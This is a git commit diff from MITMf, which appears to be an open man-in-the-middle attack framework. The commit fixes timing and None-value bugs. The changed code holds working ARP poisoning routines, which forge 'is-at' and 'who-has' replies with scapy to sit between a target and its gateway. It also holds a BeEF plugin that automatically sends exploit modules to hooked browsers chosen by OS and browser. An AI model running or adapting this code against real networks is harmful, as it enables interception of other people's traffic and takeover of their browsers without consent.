This commit should resolve issues #106 and #109

Issue #106 was caused by a 'None' value being returned when BeEF was unable to detect the hooked browser's OS

Issue #109 was probably caused by locked resources when send() and sendp() where being called, adding in sleep() seems to have resolved the issue (at least on my machine)
This commit is contained in:
byt3bl33d3r 2015-06-06 14:20:54 +02:00
parent ffdb4ff55c
commit d56ce5447e
3 changed files with 21 additions and 19 deletions

View file

@ -14,7 +14,6 @@ class ARPpoisoner():
self.gatewaymac = getmacbyip(gateway) self.gatewaymac = getmacbyip(gateway)
self.mymac = mac self.mymac = mac
self.targets = self.getTargetRange(targets) self.targets = self.getTargetRange(targets)
self.targetmac = None
self.interface = interface self.interface = interface
self.arpmode = 'rep' self.arpmode = 'rep'
self.debug = False self.debug = False
@ -48,7 +47,6 @@ class ARPpoisoner():
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip)) mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac)) mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets)) mitmf_logger.debug("[ARPpoisoner] targets => {}".format(self.targets))
mitmf_logger.debug("[ARPpoisoner] targetmac => {}".format(self.targetmac))
mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac)) mitmf_logger.debug("[ARPpoisoner] mymac => {}".format(self.mymac))
mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface)) mitmf_logger.debug("[ARPpoisoner] interface => {}".format(self.interface))
mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode)) mitmf_logger.debug("[ARPpoisoner] arpmode => {}".format(self.arpmode))
@ -92,6 +90,7 @@ class ARPpoisoner():
elif targetmac: elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
sleep(0.3)
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
except Exception, e: except Exception, e:
@ -117,6 +116,7 @@ class ARPpoisoner():
elif targetmac: elif targetmac:
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
sleep(0.3)
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
except Exception, e: except Exception, e:
@ -142,6 +142,7 @@ class ARPpoisoner():
mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
sleep(0.3)
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
except Exception, e: except Exception, e:

View file

@ -106,20 +106,21 @@ class BeefAutorun(Inject, Plugin):
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5) sleep(0.5)
mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
for os in targeted_modules: for os in targeted_modules:
if (os in hook_os) or (os == hook_os): if (hook_browser is not None) and (hook_os is not None):
browsers = targeted_modules[os] mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
if len(browsers) > 0: if (os in hook_os) or (os == hook_os):
for browser in browsers: browsers = targeted_modules[os]
if browser == hook_browser: if len(browsers) > 0:
modules = targeted_modules[os][browser] for browser in browsers:
if len(modules) > 0: if browser == hook_browser:
for module, options in modules.iteritems(): modules = targeted_modules[os][browser]
mod_id = self.beef.module_id(module) if len(modules) > 0:
resp = self.beef.module_run(session, mod_id, json.loads(options)) for module, options in modules.iteritems():
if resp["success"] == 'true': mod_id = self.beef.module_id(module)
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) resp = self.beef.module_run(session, mod_id, json.loads(options))
else: if resp["success"] == 'true':
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
sleep(0.5) else:
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5)

View file

@ -40,7 +40,7 @@ class Spoof(Plugin):
self.dnscfg = self.config['MITMf']['DNS'] self.dnscfg = self.config['MITMf']['DNS']
self.dhcpcfg = self.config['Spoof']['DHCP'] self.dhcpcfg = self.config['Spoof']['DHCP']
self.targets = options.targets self.targets = options.targets
self.arpmode = 'rep' or options.arpmode self.arpmode = options.arpmode or 'rep'
self.manualiptables = options.manualiptables self.manualiptables = options.manualiptables
self.mymac = SystemConfig.getMAC(options.interface) self.mymac = SystemConfig.getMAC(options.interface)
self.myip = SystemConfig.getIP(options.interface) self.myip = SystemConfig.getIP(options.interface)